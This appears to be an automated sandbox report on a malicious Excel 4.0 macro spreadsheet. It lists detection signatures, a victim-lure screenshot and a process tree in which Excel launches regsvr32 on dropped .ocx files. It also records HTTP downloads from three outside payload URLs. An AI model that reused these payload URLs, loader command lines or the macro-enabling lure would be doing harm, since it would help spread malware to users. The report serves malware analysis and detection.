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Windows Analysis Report survey-1378794827.xls

Overview

General Information

Sample Name:	survey-1378794827.xls
Analysis ID:	528581
MD5:	7858cdbf85a5751a0853620c8908df14
SHA1:	8200d0104d40b68f9e523a1331dd77a8d36a827f
SHA256:	37ec1209daa15ba2bb2a9d9c372960703125e0b0acfa0736cb2ae10edfad7d62
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Yara detected hidden Macro 4.0 in Excel

Yara signature match

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Document contains embedded VBA macros

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1256 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 2788 cmdline: "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1452 cmdline: "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1188 cmdline: "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
survey-1378794827.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x3b2aa:$s1: Excel 0x3c378:$s1: Excel 0x3521:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
survey-1378794827.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\survey-1378794827.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x3b2aa:$s1: Excel 0x3c378:$s1: Excel 0x3521:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
C:\Users\user\Desktop\survey-1378794827.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx, CommandLine: "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx, CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1256, ProcessCommandLine: "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx, ProcessId: 2788

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 192.185.79.2:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.129.7:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.247.11.218:443 -> 192.168.2.22:49167 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.185.79.2:443

Source: global traffic

DNS query: name: klevvrtech.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.185.79.2:443

Source: global traffic	HTTP traffic detected: GET /zxywJAC24KJ/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: klevvrtech.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /OYcMRJbL/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: srkcampus.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fbmKk6n48G/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rstebet.co.idConnection: Keep-Alive

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000003.00000002.446194277.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459908784.0000000003990000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.444152722.0000000001CA0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459305635.0000000001C80000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.438784192.0000000001D00000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.446194277.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459908784.0000000003990000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ji[1].htm

Jump to behavior

Source: unknown

DNS traffic detected: queries for: klevvrtech.com

Source: global traffic	HTTP traffic detected: GET /zxywJAC24KJ/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: klevvrtech.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /OYcMRJbL/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: srkcampus.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fbmKk6n48G/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rstebet.co.idConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 192.185.79.2:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.129.7:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.247.11.218:443 -> 192.168.2.22:49167 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 18 '9 41' I 20 (D PROTECTED VIEW Be careful- files from the 1nterne cted View.
Source: Screenshot number: 4	Screenshot OCR: Enable Content 25 26 G) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30
Source: Screenshot number: 8	Screenshot OCR: Enable Editing ., le, No RETURNQ or HALTQ function found on maao sheet. 18 19 I ' : 20 (D PROTE
Source: Screenshot number: 8	Screenshot OCR: Enable Content 25 26 G) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing 0 PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless yo
Source: Document image extraction number: 0	Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing (D PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Document image extraction number: 1	Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Screenshot number: 12	Screenshot OCR: Enable Editing d 18 19 20 (D PROTECTED VIEW Be careful - files from the Internet can contain viru
Source: Screenshot number: 12	Screenshot OCR: Enable Content 25 26 G) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30

Source: survey-1378794827.xls, type: SAMPLE	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\Desktop\survey-1378794827.xls, type: DROPPED	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk1
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk4
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk6
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk7
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk2
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk3

Source: survey-1378794827.xls	OLE indicator, VBA macros: true
Source: survey-1378794827.xls.0.dr	OLE indicator, VBA macros: true

Source: A5B1.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: survey-1378794827.xls	OLE indicator, Workbook stream: true
Source: survey-1378794827.xls.0.dr	OLE indicator, Workbook stream: true

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx	Jump to behavior

Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVREB38.tmp

Jump to behavior

Source: classification engine

Classification label: mal64.expl.winXLS@7/4@3/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: A5B1.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 1292	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 668	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2364	Thread sleep time: -60000s >= -30000s	Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match	File source: survey-1378794827.xls, type: SAMPLE
Source: Yara match	File source: C:\Users\user\Desktop\survey-1378794827.xls, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting1	Path Interception	Process Injection1	Disable or Modify Tools1	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection1	Security Account Manager	System Information Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol13	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Ingress Tool Transfer2	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
https://klevvrtech.com/zxywJAC24KJ/ji.html	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
https://srkcampus.org/OYcMRJbL/ji.html	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
https://rstebet.co.id/fbmKk6n48G/ji.html	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
klevvrtech.com	192.185.79.2	true	false	unknown
rstebet.co.id	103.247.11.218	true	false	unknown
srkcampus.org	192.185.129.7	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://klevvrtech.com/zxywJAC24KJ/ji.html	false	Avira URL Cloud: safe	unknown
https://srkcampus.org/OYcMRJbL/ji.html	false	Avira URL Cloud: safe	unknown
https://rstebet.co.id/fbmKk6n48G/ji.html	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	false		high
http://www.windows.com/pctv.	regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	false		high
http://investor.msn.com	regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	false		high
http://www.icra.org/vocabulary/.	regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	regsvr32.exe, 00000003.00000002.446194277.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459908784.0000000003990000.00000002.00020000.sdmp	false		high
http://investor.msn.com/	regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	false		high
http://www.%s.comPA	regsvr32.exe, 00000003.00000002.446194277.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459908784.0000000003990000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	regsvr32.exe, 00000003.00000002.444152722.0000000001CA0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459305635.0000000001C80000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.438784192.0000000001D00000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
192.185.129.7	srkcampus.org	United States	46606	UNIFIEDLAYER-AS-1US	false
192.185.79.2	klevvrtech.com	United States	46606	UNIFIEDLAYER-AS-1US	false
103.247.11.218	rstebet.co.id	Indonesia	58487	RUMAHWEB-AS-IDRumahwebIndonesiaCVID	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528581
Start date:	25.11.2021
Start time:	14:25:46
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	survey-1378794827.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.expl.winXLS@7/4@3/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe VT rate limit hit for: /opt/package/joesandbox/database/analysis/528581/sample/survey-1378794827.xls

Simulations

Behavior and APIs

Time	Type	Description
14:26:31	API Interceptor	143x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
192.185.129.7	doc-904268081.xls	Get hash	malicious	Browse
	doc-904268081.xls	Get hash	malicious	Browse
	http://ibaylor.psatrans.com/cmlja3lfc293ZWxsQGJheWxvci5lZHU=	Get hash	malicious	Browse
	https://digitek.global/cinetra	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	QUOTATION REQUEST DOCUMENTS - GOTO TRADING.exe	Get hash	malicious	Browse	162.240.9.164
	SecuriteInfo.com.VHO.Trojan-PSW.MSIL.Stealer.gen.30557.exe	Get hash	malicious	Browse	192.185.84.191
	Swift Copy TT.doc	Get hash	malicious	Browse	50.116.86.94
	8M5ZqXSa28.exe	Get hash	malicious	Browse	192.185.129.44
	Change Order - Draw #3 .htm	Get hash	malicious	Browse	162.214.66.227
	new-1834138397.xls	Get hash	malicious	Browse	108.179.253.213
	new-1834138397.xls	Get hash	malicious	Browse	108.179.253.213
	new-1179494065.xls	Get hash	malicious	Browse	108.179.253.213
	Hsbc swift.exe	Get hash	malicious	Browse	192.232.249.14
	new-1179494065.xls	Get hash	malicious	Browse	108.179.253.213
	microcomputer Official Order.exe	Get hash	malicious	Browse	192.185.84.191
	Arrival Notice, CIA Awb Inv Form.pdf.exe	Get hash	malicious	Browse	70.40.220.123
	t 2021.HtML	Get hash	malicious	Browse	192.185.129.43
